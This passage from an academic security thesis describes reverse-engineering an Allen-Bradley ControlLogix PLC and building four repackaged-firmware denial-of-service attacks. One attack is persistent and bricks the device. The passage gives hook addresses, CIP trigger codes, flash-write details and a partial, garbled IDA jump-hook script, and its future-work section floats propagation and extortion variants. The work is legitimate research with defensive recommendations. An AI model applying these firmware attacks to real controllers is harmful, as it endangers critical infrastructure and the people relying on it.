handler. Results are shown in Figure 4.8, Figure 4.9, and Figure 4.10. In each case, byte

one and byte three in the structure matched the service and instance codes in the CIP

message. Using this function, any combination of unused service and instance identifiers

can be sent to the ControlLogix 1756-L61 PLC as long as the CIP message is sent as

an identity object class. This function can be exploited to use identifiers that would not

normally be used operationally to trigger an embedded exploit.

Figure 4.8: Case 1 - Service 0x1 Instance 0x1.

4.1.3.4 Non-Volatile Storage.

Evaluation of the interaction with flash memory in the unmodified firmware image

reveals the Numonyx flash chip has 64 writable blocks of 128KB each for a total of
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Figure 4.9: Case 2 - Service 0x3 Instance 0x2.

Figure 4.10: Case 3 - Service 0x4 Instance 0x6.

8MB of flash memory. The flash eraser function provides clues to determine the size

of flash memory, and accepts two arguments. The first argument is the block number

indicating the first block to be erased, and the second argument is the block number

of the last block to be erased. The arguments are tested in the routine to verify that the

numbers falls within the range of 0x0 to 0x3F (0 to 63 decimal) as seen in Figure 4.11.

The compare instructions starting at address 0xD6844C test the starting argument. The

compare instructions at address 0xD68464 test the end argument. The block numbers are

converted to offsets into flash memory by shifting the binary value 17 bits. For example,

0x3F converted to binary and shifted left 17 bits becomes 0x7E0000 which is a valid

offset into flash memory.

Instructions at address 0xD68464, as seen in Figure 4.12, provide further evidence

that the routine erases flash memory by storing the block erase and program/erase resume

codes in registers that are later sent to block addresses in the flash memory address range

as shown in Figure 4.13. The instruction at address 0xD6848C sets register r9 to the flash
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Figure 4.11: Test Start and End Arguments for Valid Range.

base address of 0xB000000 which is later added to the block number offsets. Referring

to the previous example, after block number 0x3F is converted to the offset 0x7E0000, it

is added to the base address which results in the absolute address 0xB7E0000 or the start

of the last 128KB of flash memory. Note that this particular type of flash memory must

be erased in blocks, but is single byte readable/writeable indicating that block numbers of

the type found in this function will not be found in functions used to read from or write to

flash memory [35].

Figure 4.12: Setup Flash Block Erase Control Signals.

A search for the command codes found in the Numonyx flash memory chip data

sheet reveals a function that includes a reference to the base address of flash memory, and
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Figure 4.13: Setting Block Erase Command Code Values and Sending to Flash Memory.

the use of the buffered program code with confirmation. This function resides at address

0xD68574. Analysis of one of the calling functions reveals the structure of the function

call arguments. Prior to the flash writing function call, registers r0, r1, and r2 are set to

the arguments used by the flash writing function. Register r0 is set to the source address

of a block of data. Register r1 is set to a memory location holding the pointer to the flash

memory destination address. Register r2 is set to the length of the data. Within the flash

writing function is a reference to the base address of flash memory, and the expected

references to command codes 0xE8 and 0xD0. Evaluation of the function using the JTAG

interface confirms that the function provides the flash writing service. Evaluation consists

of modifying the destination address prior to the function call to an unused block in flash

memory. The function call is executed with a breakpoint set immediately after the call

return. When viewing the contents of flash memory using the debugger, the expected data

is present in the previously empty area of flash.

The CIP based persistent DoS attack works by setting a sentinel value in flash.

The attack code does not contain a recovery mechanism and only executes a flash write

operation. However, the ControlLogix 1756-L61 PLC must be recoverable for analysis

59



purposes. Manually executing the flash erase function deletes the area of flash memory

containing the sentinel value and returns the ControlLogix 1756-L61 PLC to normal

operations. The ControlLogix 1756-L61 PLC is restored by using the JTAG debugger to

pause execution. Once paused, the pc register is set to the start of the flash erase function

at address 0xD68428. Registers r0 and r1 are set to 0x3E representing the block where

the sentinel is stored. A breakpoint is set at the end of the erase function, and the function

is allowed to execute. The ControlLogix 1756-L61 PLC is power cycled after recovery.

4.1.3.5 Additional Notable Areas.

The areas of the firmware image described in this section were discovered during the

reverse engineering effort. These sections were not needed during attack development but

may be useable for future efforts.

An impediment to the reverse engineering effort while using the JTAG interface is

the hardware monitor on the PLC. This monitor disables the PLC if it detects a freeze

or hangup which includes stopping the execution of instructions using the debugger.

However, the monitor does not function through startup or during firmware initialization.

Traces show that a function called at 0xD00180 is used to start the hardware monitor.

The function, which is labeled as Hwsupp 0, tests for the code that indicates whether the

hardware monitor is active or not. Evaluation using the debugger reveals that skipping

this function allows further tracing using the debugger, but does not permanently disable

the monitor. Analysis of the function shows that the address that likely maintains the

status of the monitor is 0x801028C. Code 0x7FFF indicates the monitor is disabled, and

code 0x10C7 indicates the monitor is enabled. Figure 4.14 and Figure 4.15 show the code

tests in the function. References to both the location and codes are present throughout the

firmware image, but are not tested using a single function. The dispersed checks make

disabling the hardware monitor difficult. Further work could modify the firmware image

to disable all monitor checks allowing the firmware to be debugged at any point.
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Figure 4.14: Test for Inactive Monitor.

Figure 4.15: Test for Active Monitor.

Two fault handling mechanisms are worth noting for their possible use in future

exploits. A function at 0xF191E8 appears to be a generic fault handler used throughout

the unmodified firmware image. As shown in Figure 4.16, this function takes the name of

the failing function as an argument for reporting. Such a function may provide exploitable

execution paths or locations where execution can be redirected to arbitrary code. A

component of the fault handling mechanism is a vector of 79 error codes as seen in

Figure 4.17. The error codes can be used to categorize different error behaviors.

Figure 4.16: Calls to Fault Handler.
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Figure 4.17: Start of Fault Handling Jump Table.

The second fault handling mechanism worth noting is a function used by almost

all procedures in the firmware image. The stack has a fixed amount of space but is

expandable if needed. The function shown in Figure 4.18 checks the bound of the stack

and adds space if needed. It accepts the amount of space needed as an argument. The

stack space manager then calls a function that tests the various CPU modes as seen in

Figure 4.19. The ARM CPU has several execution modes. Normally the processor runs

in User mode, but it also has several privileged modes used for different external events

or interrupts [6]. Tracing this function and how it is used may introduce ways to run the

processor in a privileged mode that would not normally be available.

The final area worth examining is the CIP object handler. Vendors can define their

own CIP objects. Since examination of this object handler exposed how various objects

are handled, further examination of this function could reveal all vendor defined CIP

objects. The objects may be exploitable similar to the identity object used in the remotely

triggered attacks. Examination of all functions called by this object handler could reveal

vendor defined services as well.
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Figure 4.18: CPU Mode Test Function.

4.2 Attack Development

This section describes the results of the attack development effort. All four attacks

are DoS attacks that disable the ControlLogix 1756-L61 PLC by executing an endless

loop which causes the hardware monitor to stop the CPU. For the three non-persistent

attacks, the fault is used because it can be cleared by using either the mode switch reset

method or a power cycle. This rapid recovery speeds the testing process. Note that rapid

recovery is not possible with the CIP based persistent DoS attack.

To create space for new instructions and data in the repackaged firmware, the math

diagnostic function is modified to immediately return a 0x0 and bypass all math tests as

shown in Figure 4.20. The modification provides room for 147 32-bit words in the form

of either instructions or data starting at address 0xF374AC.

The three non-persistent attacks do not interfere with the firmware installation

process. As such, the loading of a different firmware image overwrites the repackaged

firmware and the attacks are no longer applicable. Note that for the time based non-
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Figure 4.19: CPU Mode Test Function.

Figure 4.20: Modified Diagnostic Routine.

persistent DoS attack, the firmware upgrade must finish before the timer expires. If

the timer expires during the upgrade, the transfer fails and the ControlLogix 1756-L61
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PLC reverts to a default firmware image. The CIP based persistent DoS attack only

allows firmware upgrades if the attack has not been executed. Indeed, after execution,

the ControlLogix 1756-L61 PLC fails to reach a stable state and prevents network

communication.

4.2.1 Redirecting Execution.

ARM branch instructions alter execution paths and operate using relative offsets

rather than absolute addresses [6]. The branch opcode contains condition settings

when using the condition code flags and an offset value. The branch instruction also

contains an option to push a return instruction pointer to the lr register. If the program

encounters a return instruction, execution will return to the instruction pointed to by the

lr register. The offset value is a signed count of the number of instructions the pc register

should move forward or backward and resides in bits 0 to 23 of the branch instruction

as seen in Figure 4.21. Function hooks are built by altering the jump instruction offsets

using Equation 4.1 to point to the start of the inserted operation. Hooks are used in the

following attacks to intercept normal function calls. Using instruction counts as the

offset is possible on the ARM processor because the instruction set uses fixed 32-bit

instructions. The equation to calculate the jump instruction offset is:

(
(Dest. Address − Start Address)

4

)
− 2 = Jump Instruction Offset (4.1)

Division by four converts the address offset into an instruction offset, and two is

subtracted from the result because the instruction pipeline is two instructions past the

currently executing instruction [38].

4.2.2 Time Based Non-Persistent Denial-of-Service Attack.

The initial attack is a time based non-persistent DoS attack. Once the repackaged

firmware is installed and running on the ControlLogix 1756-L61 PLC, an iterator built

into the repackaged firmware begins a countdown. When the iterator reaches zero, the
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Figure 4.21: Branch Instruction Structure.

31-28 27-25 23-0

Condition Opcode Signed Offset

ControlLogix 1756-L61 PLC faults and ceases execution until restarted. Requirements

for this attack are a place to insert the counting instructions, and a location that runs

continuously to insert the function hook. This attack utilizes the math diagnostic routine

for the instruction space, and hooks the cpmode 0 call in cpmode 1 function as seen in

Figure 4.23. Each call to the inserted function decrements and tests the iterator until the

counter reaches zero. At zero, the inserted function pushes the ControlLogix 1756-L61

PLC into a fault state by executing an endless loop. The attack steps are summarized in

Figure 4.22. The ControlLogix 1756-L61 PLC continues to operate normally until the

iterator reaches zero. No unexpected faults are generated during ladder logic execution, or

while updating ladder logic or firmware.

4.2.3 Mode Change Based Non-Persistent Denial-of-Service Attack.

The mode change based non-persistent DoS attack counts remote mode changes and

executes after a specified amount is reached. Each transition between REMOTE RUN

and REMOTE PROGRAM is counted. When the mode change count reaches four, the

ControlLogix 1756-L61 PLC faults and ceases execution. Note that mode changes using

the front panel mode switch are ignored.

The attack process is shown in Figure 4.25. Once the ControlLogix 1756-L61 PLC

records a mode change, subsequent attempts to switch to the same mode are ignored

indicating that the counter only increments as mode changes alternate.

66



Figure 4.22: Process Flow - Time Based Non-Persistent DoS Attack.

Figure 4.23: Function Hook for Time Based Non-Persistent DoS Attack.

To insert mode change based non-persistent DoS attack code, hooks are placed at

the four locations in cpmode 1 where mode changes are recorded. The locations are

adresses 0xD46484, 0xD464A0, 0xD46534, and 0xD46574. Figure 4.24 shows the hook

location for the REMOTE RUN mode switch. The four checks are a small subset of jump
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table entries indicating that the cpmode 1 function records or logs multiple events. If the

count is not reached, saved registers are restored and the call is forwarded to the intended

function where the firmware continues to operate normally.

Figure 4.24: Function Hook for the Mode Change Based Non-Persistent DoS Attack.

Figure 4.25: Process Flow - Mode Based Non-Persistent DoS Attack.
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4.2.4 CIP Based Non-Persistent Denial-of-Service Attack.

The CIP based non-persistent DoS attack uses the CIP object class handler to

intercept identity objects sent to the ControlLogix 1756-L61 PLC. If an identity object

is sent, the CIP class handler forwards the identity object to the identity object handler

regardless of whether the service and instance codes embedded in the object are valid or

not. The identity object handler contains a reference to the identity structure that includes

the service and instance codes. By redirecting to an injected function, the service and

instance codes are tested and action taken based on the results. If the codes are valid,

execution continues to the normal identity object handler. If the codes are those chosen by

the attacker, the injected function executes the DoS attack. By using codes not normally

recognized by the unmodified firmware, multiple commands can be programmed into the

repackaged firmware.

Figure 4.26: Process Flow - CIP Based Non-Persistent DoS Attack.
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The CIP based non-persistent DoS attack shown in Figure 4.26 contains three

tests. The first test traps all CIP identity objects sent to the ControlLogix 1756-L61

PLC by hooking the identity object handler at address 0xD2FA4C. The test is shown in

Figure 4.27. The second test examines the identity object structure for a service code of

0xBB and instance code of 0xCC. If the codes are present in the identity object structure,

the sentinel value 0xAA is written to memory at 0xF37718. Other identity objects are

forwarded to the normal object handler. The third test resembles the hook in cpmode 1

(shown in Figure 4.28) used in the time based non-persistent DoS attack. Instead of

testing a counter, however, the CIP based non-persistent DoS attack code tests for the

presence of the sentinel value at 0xF37718 set by the CIP call. If the sentinel value is

present, the endless loop executes and faults the ControlLogix 1756-L61 PLC.

Figure 4.27: CIP Function Hook - CIP Based Non-Persistent DoS Attack.

4.2.5 CIP Based Persistent Denial-of-Service Attack.

The CIP based persistent DoS attack is implemented by modifying the CIP based

non-persistent DoS attack. The process flow is shown in Figure 4.30. In the previous

attacks, all sentinels are written to volatile storage. The CIP based persistent DoS attack

calls an existing flash writing function to store the sentinel value in flash memory as

shown in Figure 4.29. Note that hooked functions are identical to those used in the

CIP based non-persistent DoS attack, which are the CIP object handler, and cpmode 1

functions. The CIP based persistent DoS attack code writes eight bytes to flash in an
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Figure 4.28: cpmode Function Hook - CIP Based Non-Persistent DoS Attack.

empty area at address 0xB7C0000. The sentinel test examines the flash memory location

rather than a location in volatile storage. If the sentinel value exists, the CIP based

persistent DoS attack executes an endless loop and faults the ControlLogix 1756-L61

PLC.

Figure 4.29: Call to Flash Write Function - CIP Based Persistent DoS Attack.

By using the flash write operation, a sentinel is written to an unused area of flash

and the sentinel remains persistent even if the ControlLogix 1756-L61 PLC loses power.

Since the sentinel check replaces cpmode 1 hook used during the time based non-

persistent DoS attack and cpmode 1 executes continuously, the ControlLogix 1756-L61
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PLC never enters a steady state and continuously faults. For the previous non-persistent

attacks, the ControlLogix 1756-L61 PLC is recoverable using the mode switch reset or by

cycling power. In the CIP based persistent DoS attack when the ControlLogix 1756-L61

PLC is reset or power cycled, it faults as soon as the sentinel test is executed. The only

feasible method of recovery requires using JTAG to manually modify flash memory or

returning the ControlLogix 1756-L61 PLC to the manufacturer for repair.

Figure 4.30: Process Flow - Persistent DoS Attack Using CIP.

4.2.6 Attack Evaluation Results.

This section reports the results of the functionality and stability evaluations for each

repackaged firmware. Results are reported individually for each repackaged firmware. For

each attack instance, once the evaluation is complete, the ControlLogix 1756-L61 PLC is

restored to a normal operational state by installing the unmodified firmware, completing a

power cycle, and allowing the ControlLogix 1756-L61 PLC to stabilize for a minimum of

five minutes.
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4.2.6.1 Time Based Non-Persistent DoS Attack Evaluation Results.

The time based non-persistent DoS attack is evaluated at three time amounts and

for stability as shown in Table 4.2. After each time level evaluation, the ControlLogix

1756-L61 PLC is power cycled and the next repackaged firmware is installed before

the countdown timer expires. The iterator modified after each time level is at address

0xF37718 in the repackaged firmware. Evaluation begins by first installing the

repackaged firmware containing the time based non-persistent DoS attack and allowing

the repackaged firmware to stabilize for 5 minutes. To evaluate the one minute attack

execution, the iterator in the repackaged firmware is set to 1200 using a hexadecimal

editor. Note that pilot tests show that the repackaged firmware decrements the iterator

approximately 1200 times per minute. Also note that the execution rate for the intercepted

function used in this attack may change depending on environmental conditions or

configuration. Once modified, the repackaged firmware is installed and executed. Results

of the evaluation show that the repackaged firmware generates a fault at one minute.

The ten minute attack execution is evaluated next by setting the iterator to 12,000 using

a hexadecimal editor. After modification, the repackaged firmware is installed and

executed. Results of the evaluation show that the repackaged firmware generates a fault at

ten minutes. The final one hour attack execution is evaluated next by changing the iterator

to 72,000 using a hexadecimal editor. After modification, the repackaged firmware is

installed and executed. Results of the evaluation show that the repackaged firmware

generates a fault at one hour. Stability is evaluated last by setting the iterator to a large

enough value to operate for a minimum of eight hours. For this evaluation, the iterator is

set to 16,777,216. After modification, the repackaged firmware is installed and executed.

The stability evaluation shows that the repackaged firmware is stable for a minimum

of eight hours. The repackaged firmware containing the time based non-persistent DoS

attack is considered functional and stable.
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Table 4.2: Time Based Non-Persistent DoS Attack Evaluation.

Evaluation Type Result

Attack Execution Evaluation (1 minute) SUCCESS

Attack Execution Evaluation (10 minutes) SUCCESS

Attack Execution Evaluation (1 hour) SUCCESS

Stability Evaluation (8 hours) SUCCESS

4.2.6.2 Mode Change Based Non-Persistent DoS Attack Evaluation Results.

The mode change based non-persistent DoS attack is evaluated under three

conditions as shown in Table 4.3. After each condition evaluation, the ControlLogix

1756-L61 PLC is power cycled and allowed to stabilize for five minutes. The same

repackaged firmware remains installed for the duration of the evaluation. Evaluation

begins by first installing the repackaged firmware containing the mode change based non-

persistent DoS attack. The first condition is the remote mode change attack execution

evaluation demonstrating that the repackaged firmware generates a fault after four

consecutive remote mode changes. After the ControlLogix 1756-L61 PLC is stable,

RSLogix is used to alternate between REMOTE RUN and REMOTE PROGRAM four

times. Results of the attack evaluation show that the repackaged firmware operates

as expected and generates a fault immediately after the fourth mode change. The

ControlLogix 1756-L61 PLC is reset and allowed to stabilize in preparation for the

second condition evaluation. The second condition demonstrates that the repackaged

firmware does not cause a fault when using the front panel switch to change modes. After

stabilization, the front panel mode switch is alternated between RUN and PROGRAM

eight times. Results of the second condition evaluation show that changing the front panel

mode switch does not cause the repackaged firmware to generate a fault. After both mode
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change evaluations, it is determined that the repackaged firmware correctly distinguished

between remote mode changes and panel switch mode changes. The third condition

is the stability evaluation demonstrating that the repackaged firmware is stable for a

minimum of eight hours. The ControlLogix 1756-L61 PLC is power cycled and allowed

to stabilize for five minutes. After stabilization, the repackaged firmware successfully

remains operational for eight hours demonstrating stability. The repackaged firmware

containing the mode change based non-persistent DoS attack is considered functional and

stable.

Table 4.3: Mode Change Based Non-Persistent DoS Attack Evaluation Results.

Evaluation Type Result

Attack Execution Evaluation (Remote Mode Change) SUCCESS

Switch Mode Change Evaluation SUCCESS

Stability Evaluation (8 hours) SUCCESS

4.2.6.3 CIP Based Non-Persistent DoS Attack Evaluation Results.

The CIP based non-persistent DoS attack is evaluated under three conditions as

shown in Table 4.4. After each condition evaluation, the ControlLogix 1756-L61 PLC

is power cycled and allowed to stabilize for five minutes. The same repackaged firmware

remains installed for the duration of the evaluation. Evaluation begins by installing the

repackaged firmware containing the CIP based non-persistent DoS attack and allowing

the repackaged firmware to stabilize for five minutes. The first condition is the malicious

CIP command attack execution evaluation demonstrating that the repackaged firmware

generates a fault after intercepting a CIP identity object containing the service code

0xBB and instance code 0xCC. After the ControlLogix 1756-L61 PLC is stable, the

malicious CIP command is sent to the repackaged firmware. Results of the first condition
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evaluation show that the repackaged firmware operates as expected and generates a fault

upon receipt of the malicious CIP command. The ControlLogix 1756-L61 PLC is reset

and allowed to stabilize in preparation for the second condition evaluation. The second

condition is that the repackaged firmware does not cause a fault when sent a valid CIP

command. After stabilization, the valid CIP identity object is sent to the repackaged

firmware. Results of the second condition evaluation show that a valid CIP command

does not cause the repackaged firmware to generate a fault. After both CIP command

evaluations, it is determined that the repackaged firmware correctly distinguished between

a valid CIP identity object, and the malicious CIP identity object. The third condition is

the stability evaluation demonstrating that the repackaged firmware remains stable for a

minimum of eight hours. The ControlLogix 1756-L61 PLC is power cycled and allowed

to stabilize for five minutes. After stabilization, the repackaged firmware successfully

remains operational for eight hours demonstrating stability. The repackaged firmware

containing the CIP based non-persistent DoS attack is considered functional and stable.

Table 4.4: CIP Based Non-Persistent DoS Attack Evaluation.

Evaluation Type Result

Attack Execution Evaluation (Malicious CIP Command) SUCCESS

Valid CIP Command Evaluation SUCCESS

Stability Evaluation SUCCESS

4.2.6.4 CIP Based Persistent DoS Attack Evaluation Results.

The CIP based persistent DoS attack is evaluated under four conditions as shown

in Table 4.5. Because of the difficulty of recovery, the malicious CIP command

condition is tested first, followed by the fault persistence evaluation. After completion,

the ControlLogix 1756-L61 PLC is restored using JTAG. For the remaining two
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condition tests, the repackaged firmware remains installed, but the attack is not executed.

Evaluation begins by installing the repackaged firmware containing the CIP based

persistent DoS attack and allowing the repackaged firmware to stabilize for five

minutes. The first condition is the malicious CIP command attack execution evaluation

demonstrating that the repackaged firmware generates a fault after intercepting a CIP

identity object containing the service code 0xBB and instance code 0xCC. After the

ControlLogix 1756-L61 PLC is stable, the malicious CIP command is sent to the

repackaged firmware. Results of the first attack evaluation show that the repackaged

firmware operates as expected and generates a fault upon receipt of the malicious CIP

command. The second condition is the fault persistence evaluation demonstrating that

once the attack is executed, the fault remains persistent even after attempting to reset the

ControlLogix 1756-L61 PLC. While the ControlLogix 1756-L61 PLC remains in fault

mode, the front panel mode switch reset and power cycle reset are both attempted. Results

of the fault persistence condition evaluation show that the repackaged firmware operates

as expected and the fault remains persistent despite attempts to reset the ControlLogix

1756-L61 PLC. After completion of the fault persistence condition test, the ControlLogix

1756-L61 PLC is restored using JTAG. The repackaged firmware remains installed and

is allowed to stabilize for five minutes. The third condition is the valid CIP command

evaluation demonstrating that the repackaged firmware does not fault when sent a valid

CIP command. After stabilization, the valid CIP identity object is sent to the repackaged

firmware. Results of the third condition evaluation show that a valid CIP command

does not cause the repackaged firmware to generate a fault. After both CIP command

evaluations, it is determined that the repackaged firmware correctly distinguished between

a valid CIP identity object, and the malicious CIP identity object. The fourth condition is

the stability evaluation demonstrating that the repackaged firmware remains stable for a

minimum of eight hours. The ControlLogix 1756-L61 PLC is power cycled and allowed
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to stabilize for five minutes. After stabilization, the repackaged firmware successfully

remains operational for eight hours demonstrating stability. The repackaged firmware

containing the CIP based persistent DoS attack is considered functional and stable.

Table 4.5: CIP Based Non-Persistent DoS Attack Evaluation.

Evaluation Type Result

Attack Execution Evaluation (Malicious CIP Command) SUCCESS

Fault Persistence Evaluation SUCCESS

Valid CIP Command Evaluation SUCCESS

Stability Evaluation SUCCESS

4.3 Performance Analysis Results

Once the repackaged firmware images have been evaluated for functionality and

stability, they are further evaluated for performance under the workload of a process

program. This section evaluates each attack to determine if changes made to the

repackaged firmware impact process program execution times. The unmodified firmware

process program execution times provide the baseline performance standard. The

performance of each repackaged firmware is compared to the baseline to determine if the

modifications negatively impact process program execution performance. Table 4.6 shows

the results of the performance analysis.

The small and large process programs provide the workload to the unmodified

and repackaged firmware images. The performance of the firmware is determined by

measuring the time it takes to execute one iteration of the process program. The process

programs used during performance analysis are ladder logic project files supported by

Allen-Bradley. The ladder logic projects were developed by Dunlap to evaluate timing
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based side channel analysis for detecting anomalies in firmware [20]. As observed by

Dunlap, the small workload has a mean execution time of 93.42μs, and the large workload

has a mean execution time greater than 3173.81μs.

Table 4.6: Performance Analysis Results Summary.

Mean Execution Time (μs) p-Value

Workload Small Large Small Large

Unmodified Firmware 93.9160 3209.3660 N/A N/A

Time Based Non-Persistent DoS 93.9374 3208.8360 0.577058 0.031103

Mode Change Based Non-Persistent DoS 93.9088 3209.3940 0.607561 0.362736

CIP Based Non-Persistent DoS 93.8912 3208.3102 0.487549 0.000200

CIP Based Persistent DoS 93.9376 3209.3094 0.035604 0.923392

Each firmware image is monitored while executing both the small and large

workloads generating a total of ten sets of data. Each data set contains 10,000 process

program execution time measurements taken at intervals of 250ms. The mean execution

time from all measurements taken using the small workload is 93.9182μs, and

3209.0431μs for the large workload. The mean execution times for both the unmodified

and repackaged firmware images are larger than, but consistent with the mean execution

times previously observed by Dunlap [20]. The exact cause of the difference in mean

execution times is unknown, but measurements for both experiments were gathered

using physically different ControlLogix 1756-L61 PLCs. The repackaged firmware mean

execution times for the small workload are consistent with the mean execution time from

the unmodified firmware image. The range of mean values for the small workload is

0.0464μs. For the large workload, similar results demonstrate consistent mean execution

times with a range of mean values of 1.0838μs.
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Although no performance penalty is readily observable, comparison tests were

performed using a one-way permutation test using 9999 Monte-Carlo resamplings. The

permutation test identifies if there is a statistical difference in mean execution times and is

the same used by Dunlap for detecting unauthorized firmware modifications [20]. The

performance metric used in this evaluation is process program execution times. The

p-value threshold for significance set by Dunlap is 0.0001, and that same threshold is

used in this evaluation. The null hypothesis is that there is no performance difference

between the unmodified and repackaged firmware. The alternative hypothesis is that the

modifications in the repackaged firmware incur a performance penalty.

As seen in Table 4.6 all calculated p-values are above the threshold of significance,

failing to reject the null hypothesis. There is no significant difference in process program

execution times between the repackaged and unmodified firmware images. Indeed, The

p-values for all comparisons indicate that there is no statistically significant difference

in performance between the unmodified firmware and the repackaged firmwares when

using a significance level of .0001. Note the result of the comparison between the CIP

based non-persistent DoS attack approaches the threshold p-value. In this result, the

mean execution time of the repackaged firmware using the large workload is faster than

the mean execution time of the unmodified firmware image. The result does not imply a

performance penalty and the mean execution time differs by 1.06μs which may represent

a valid span of execution times under real-world operating conditions.

4.4 Results Summary

The experiment results show that it is possible to build a functional and stable attack

against a PLC with minimal or no impacts to performance. A combination of hardware

and firmware analysis provides data about the structure and operation of the firmware

image. Information determined from the analysis allows the attacker to craft an exploit

capable of disabling the PLC. Finally, performance analysis shows that process program
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execution times are not statistically different when executed by the repackaged firmware

images.
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V. Conclusions and Future Work

5.1 Conclusions

This research demonstrated that firmware repackaging attacks against a PLC are

feasible. Once validation methods used by the PLC are known, an attacker has the ability

to build a custom firmware image and deploy that image to the PLC. The presence of a

JTAG port makes it possible to use a debugger during the reverse engineering process.

CIP traffic, a commonly used protocol in ICS, can be captured using a protocol analyzer

as part of the reverse engineering process. Validation procedures can be bypassed when

designed to only capture transmission errors rather than actual malicious traffic. Part

numbers on ICs make it possible to find known control signals or codes in data sheets.

The codes provide searchable terms when disassembling the firmware and make it

possible to find the routines that interface with specific hardware components in the PLC

such as flash memory. The lack of protected memory makes it possible to use areas in

the firmware image as space for data rather than risk overwriting possibly used areas of

memory and risking exposure of the attack by causing additional faults. Function names

provide critical clues about the use of specific functions, in particular, the logging and

connection manager functions which were both used in the DoS attacks.

5.2 Recommendations

Clues exist in the design of both the firmware and hardware of the PLC that can be

exploited by the determined attacker. The reverse engineering and repackaging process

can be hampered by implementing certain design changes. The removal of ASCII text

function names or other symbol tables increases the difficulty of the reverse engineering

process. Instead, codes or numbers could be used.
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Packed, obfuscated, or encrypted firmware delays the determined attacker. Digitally

signing firmware updates increases the difficulty of repackaging; however, steps should

be taken to ensure updates are not signed with revoked certificates. The use of a custom

pinout or non-standard connector for JTAG increases the difficulty of determining the

required pins and implementing a debugger. Permanently disabling the JTAG interface

further protects the PLC from analysis using a debugger. Mapping the firmware image

into protected memory creates an additional hurdle for the attacker. The attacker must

use a different area of memory that may contain an unknown function or data item whose

deletion destabilizes the PLC and increases the risk of detection. Using unmarked ICs

increases the difficulty of determining the correct instruction set used by the firmware

image. Finally, communications between devices in the ICS network should be encrypted

to prevent the reverse engineering of commands.

5.3 Impact

This research demonstrates the feasibility of directing a firmware repackaging

attack specifically towards PLCs. Such an attack should be expected to occur. SCADA

systems continue to see increased exposure and visibility as they connect to the Internet

increasing the chance of malicious attack. It should be assumed that potential adversaries

are targeting the nation’s critical infrastructure and attempting to build attacks similar to

the repackaging attacks developed in this research. If an attacker is able to gain control

of a trusted source for firmware updates or software patches, that attacker could distribute

repackaged firmware images to customers who assume that the software delivery point

is trusted. As such, vendors should make every effort to build secure SCADA devices by

using secure design practices and safeguarding methods for delivering firmware updates.

A compromised PLC could remain dormant, and when exploited, cause serious damage.
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5.4 Future Work

5.4.1 Common Firmware Design Features.

Certain features found in the PLC firmware image appear in a similar format in

different PLCs from Allen-Bradley. The same data handling structure was found during

a cursory examination of multiple firmware images for two different Allen-Bradley PLC

models. As is common in PLC firmware development, these attributes likely extend to

other manufacturers. For example, if a PLC uses CIP as a communication protocol, the

firmware should contain a similar object handler. Search efforts in other PLC models

can use this knowledge as a starting point by searching for jump tables and known

object codes. Similarly, searching for known control codes used in flash memory should

identify flash memory functions. Future research can fingerprint common features in PLC

firmware such as commonly used libraries. Such work could be used to automate analysis

of firmware to search for known design weaknesses.

5.4.2 Performance Analysis.

Performance analysis has previously shown to be effective in detecting modifica-

tions. However, the success of the detection method relies on the type of metric collected.

Further research is needed to test various metrics against different types of firmware mod-

ification attacks to determine the effectiveness of the analysis. Performance analysis should

also be extended to include multiple firmware versions for a single PLC type. Such efforts

should test for metrics common across versions such that a few carefully chosen metrics

provide accurate assessment of the state of multiple PLCs at different patch levels. Fu-

ture research should expand analysis to cover multiple brands of PLCs from a variety of

vendors providing analysis metrics to the critical infrastructure community. Expansion

to other brands may encourage vendors to improve security in their products and take a

proactive stance in providing a secure SCADA environment.
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Future efforts should also perform more exhaustive testing of the effects of firmware

modification on PLC performance. Examination in this research focused on effects to

firmware stability and performance. Future efforts could test ladder logic accuracy in

addition to performance.

5.4.3 Data Corruption or Modification.

Attacks developed for this experiment focused on DoS attacks. Further research can

extend attack types by intercepting or modifying data reported by the PLC. Such attacks

provide more flexibility in the type of actions an attacker can take such as data exfiltration

or physical control of a process.

5.4.4 Persistence and Propagation.

The attacks developed during this research can be overwritten by loading a new

firmware image. Future research can take advantage of available flash memory to make

the attack persistent. Functionality can be added to the attack to prevent firmware updates

while falsely reporting that the update was successful. Additionally, future efforts

may take advantage of the communication channels available to the PLC to distribute

repackaged firmware images to other PLCs. Combining these attacks with the ability to

control reported data can provide an attacker complete control over the PLC.

5.4.5 Extortion.

The persistent DoS attack can be extended to include an extortion component.

The repackaged firmware could include support for an additional CIP command that

restores flash memory to its original state and provides time for the attacker to transmit

the restoration command making the attack reversible.

5.5 Summary

This research shows that firmware repackaging attacks are possible. Hardware

and firmware analysis provides the necessary information needed to build an attack

specifically targeting the given PLC. Firmware image functions are derived using
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a combination of static and dynamic analysis and attack designs are built around

weaknesses in the firmware image. This thesis shows the steps used to build the

repackaged firmware when starting with minimal knowledge of the target device. This

research shows that the PLC used in this experiment is vulnerable to a repackaging attack,

but still presents challenges that must be overcome to maliciously take control of the

device. A combination of secure design decisions and external protective measures can

improve PLC security.
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Appendix A:

Jump Calculation IDA Pro Script

The following IDA Pro script requests a start point and destination, and recalculates

the opcode for an ARM jump instruction given the pre-existing condition codes and jump

type.

1 / / ModifyJump . i d c

2 / / W r i t t e n by C a r l S c h u e t t − AFIT

3 / / Used f o r ARM hooking . I t r e c a l c u l a t e s t h e o f f s e t s used i n b r a n c h commands t o r e d i r e c t

c o n t r o l f low .

4

5 # i n c l u d e < i d c . idc >

6

7 s t a t i c c o n v e r t O f f t o A d d r ( branchEA , o f f s e t ) {
8 a u t o newEA ;

9

10 o f f s e t = o f f s e t + 2 ;

11 o f f s e t = o f f s e t * 4 ;

12 newEA = branchEA + o f f s e t ;

13 r e t u r n newEA ;

14

15 }
16

17 s t a t i c c o n v e r t A d d r t o O f f ( s t a r t A d d r , endAddr ) {
18 a u t o newOff ;

19

20 newOff = endAddr − s t a r t A d d r ;

21 newOff = ( newOff / 4) − 2 ;

22

23 r e t u r n newOff ;

24

25 }
26

27 s t a t i c f indCond ( opCode ) {
28 a u t o r e s u l t ;

29

30 r e s u l t = ( opCode >> 28) & 0xF ;

31 r e t u r n r e s u l t ;

32 }
33

34 s t a t i c g e t O f f s e t ( opCode ) {
35 a u t o r e s u l t ;

36

37 r e s u l t = opCode & 0xFFFFFF ;

38 r e t u r n r e s u l t ;

39 }
40

41 s t a t i c modOffse t ( opCode , newOff se t ) {
42 a u t o op ;

43 a u t o o f f s e t ;

44

45 op = opCode & 0 xFF000000 ;

46 o f f s e t = newOff se t & 0x00FFFFFF ;

47 op = op | o f f s e t ;

48 r e t u r n op ;
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49 }
50

51 s t a t i c g e t L i n k ( opCode ) {
52 a u t o r e s u l t ;

53 r e s u l t = opCode & 0 x1000000 ;

54 r e t u r n r e s u l t ;

55

56 }
57

